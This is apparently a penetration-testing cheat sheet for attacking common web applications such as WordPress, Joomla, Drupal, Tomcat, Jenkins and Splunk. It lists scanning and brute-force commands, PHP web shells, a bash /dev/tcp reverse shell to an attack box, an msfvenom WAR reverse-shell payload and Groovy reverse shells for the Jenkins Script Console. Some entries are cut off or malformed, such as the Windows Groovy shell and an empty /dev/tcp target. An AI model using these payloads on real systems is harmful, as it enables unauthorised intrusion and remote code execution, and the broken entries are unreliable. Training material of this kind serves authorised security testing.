Common Applications

Command Description
sudo vim /etc/hosts Opens the /etc/hosts with vim to start adding hostnames
sudo nmap -p 80,443,8000,8080,8180,8888,10000 --open -oA web_discovery -iL scope_list Runs an nmap scan using common web application ports based on a scope list (scope_list) and outputs to a file (web_discovery) in all formats (-oA)
eyewitness --web -x web_discovery.xml -d <nameofdirectorytobecreated> Runs eyewitness using a file generated by an nmap scan (web_discovery.xml) and creates a directory (-d)
cat web_discovery.xml \| ./aquatone -nmap Concatenates the contents of nmap scan output (web_discovery.xml) and pipes it (|) aquatone (./aquatone)and ensures aquatone recognizes the file as nmap scan output (-nmap)
sudo wpscan --url <http://domainnameoripaddress> --enumerate Runs wpscan using the --enmuerate flag. Can replace the url with any valid and reachable URL in each challenge
sudo wpscan --password-attack xmlrpc -t 20 -U john -P /usr/share/wordlists/rockyou.txt --url <http://domainnameoripaddress> Runs wpscan and uses it to perform a password attack (--password-attack) against the specified url and references a word list (/usr/share/wordlists/rockyou.txt)
curl -s http://<hostnameoripoftargetsite/path/to/webshell.php?cmd=id cURL command used to execute commands (cmd=id) on a vulnerable system utilizing a php-based webshell
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/<ip address of attack box>/<port of choice> 0>&1'"); PHP code that will execute a reverse shell on a Linux-based system
droopescan scan joomla --url http://<domainnameoripaddress> Runs droopescan against a joomla site located at the specified url
sudo python3 -u http://dev.legalcorp.local -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr <username or path to username list> Runs tool with python3 against a specified url, utilizing a specified wordlist (/usr/share/metasploit-framework/data/wordlists/http_default_pass.txt) and user or list of usernames (-usr)
<?php system($_GET['dcfdd5e021a869fcc6dfaef8bf31377e']); ?> PHP code that will allow for web shell access on a vulnerable drupal site. Can be used through browisng to the location of the file in the web directory after saving. Can also be leveraged utilizing curl. See next command.
curl -s <http://domainname or IP address of site> /node/3?dcfdd5e021a869fcc6dfaef8bf31377e=id \| grep uid \| cut -f4 -d">" Uses curl to navigate to php web shell file and run system commands (=id) on the target
gobuster dir -u <http://domainnameoripaddressofsite> -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt gobuster powered directory brute forcing attack refrencing a wordlist (/usr/share/dirbuster/wordlists/directory-list-2.3-small.txt)
auxiliary/scanner/http/tomcat_mgr_login Useful Metasploit scanner module used to perform a bruteforce login attack against a tomcat site
python3 -U <http://domainnameoripaddressofTomCatsite> -P /manager -u /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_users.txt -p /usr/share/metasploit-framework/data/wordlists/tomcat_mgr_default_pass.txt Runs using python3 against the specified website starts in the /manager directory (-P /manager) and references a specified user or userlist ( -u) as well as a specified password or password list (-p)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ip address of attack box> LPORT=<port to listen on to catch a shell> -f war > backup.war Generates a jsp-based reverse shell payload in the form of a .war file utilizing msfvenom
nmap -sV -p 8009,8080 <domainname or IP address of tomcat site> Nmap scan useful in enumerating Apache Tomcat and AJP services
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/;cat <&5 \| while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() Groovy-based reverse shell payload/code that can work with admin access to the Script Console of a Jenkins site. Will work when the underlying OS is Linux
def cmd = "cmd.exe /c dir".execute(); println("${cmd.text}"); Groovy-based payload/code that can work with admin access to the Script Console of a Jenkins site. This will allow webshell access and to execute commands on the underlying Windows system
String host="localhost"; int port=8044; String cmd="cmd.exe"; Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new So); Groovy-based reverse shell payload/code that can work with admin acess to the Script Console of a Jenkinssite. Will work when the underlying OS is Windows
reverse_shell_splunk A simple Splunk package for obtaining revershells on Windows and Linux systems